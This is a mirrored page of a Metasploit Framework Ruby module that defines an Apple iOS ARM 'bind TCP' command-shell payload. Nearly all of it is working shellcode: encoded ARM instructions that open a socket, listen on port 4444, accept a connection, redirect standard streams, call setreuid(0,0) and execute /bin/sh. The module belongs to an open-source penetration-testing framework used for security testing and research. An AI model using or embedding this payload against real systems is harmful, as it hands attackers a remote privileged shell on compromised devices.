Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 200
8
9
include Msf::Payload::Single
10
include Msf::Payload::Osx
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Apple iOS Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'hdm',
20
'License' => MSF_LICENSE,
21
'Platform' => 'osx',
22
'Arch' => ARCH_ARMLE,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LPORT' => [ 30, 'n' ]
29
},
30
'Payload' =>
31
[
32
# socket
33
0xe3a00002, # mov r0, #0x2
34
0xe3a01001, # mov r1, #0x1
35
0xe3a02006, # mov r2, #0x6
36
0xe3a0c061, # mov r12, #0x61
37
0xef000080, # swi 128
38
0xe1a0a000, # mov r10, r0
39
0xeb000001, # bl _bind
40
41
# port 4444
42
0x5c110200,
43
0x00000000,
44
45
# bind
46
0xe1a0000a, # mov r0, r10
47
0xe1a0100e, # mov r1, lr
48
0xe3a02010, # mov r2, #0x10
49
0xe3a0c068, # mov r12, #0x68
50
0xef000080, # swi 128
51
52
# listen
53
0xe1a0000a, # mov r0, r10
54
0xe3a01001, # mov r1, #0x1
55
0xe3a0c06a, # mov r12, #0x6a
56
0xef000080, # swi 128
57
58
# accept
59
0xe3a0c01e, # mov r12, #0x1e
60
0xe1a0000a, # mov r0, r10
61
0xe3a01010, # mov r1, #0x10
62
0xe50d1018, # str r1, [sp, #-24]
63
0xe24d2010, # sub r2, sp, #0x10
64
0xe24d3018, # sub r3, sp, #0x18
65
0xef000080, # swi 128
66
0xe1a0b000, # mov r11, r0
67
68
# setup dup2
69
0xe3a05002, # mov r5, #0x2
70
71
# dup2
72
0xe3a0c05a, # mov r12, #0x5a
73
0xe1a0000b, # mov r0, r11
74
0xe1a01005, # mov r1, r5
75
0xef000080, # swi 128
76
0xe2455001, # sub r5, r5, #0x1
77
0xe3550000, # cmp r5, #0x0
78
0xaafffff8, # bge _dup2
79
80
# setreuid(0,0)
81
0xe3a00000, # mov r0, #0x0
82
0xe3a01000, # mov r1, #0x0
83
0xe3a0c07e, # mov r12, #0x7e
84
0xef000080, # swi 128
85
86
# execve
87
0xe0455005, # sub r5, r5, r5
88
0xe1a0600d, # mov r6, sp
89
0xe24dd020, # sub sp, sp, #0x20
90
0xe28f0014, # add r0, pc, #0x14
91
0xe4860000, # str r0, [r6], #0
92
0xe5865004, # str r5, [r6, #4]
93
0xe1a01006, # mov r1, r6
94
0xe3a02000, # mov r2, #0x0
95
0xe3a0c03b, # mov r12, #0x3b
96
0xef000080, # swi 128
97
98
# /bin/sh
99
0x6e69622f,
100
0x0068732f
101
].pack('V*')
102
}
103
)
104
)
105
end
106
end
107
108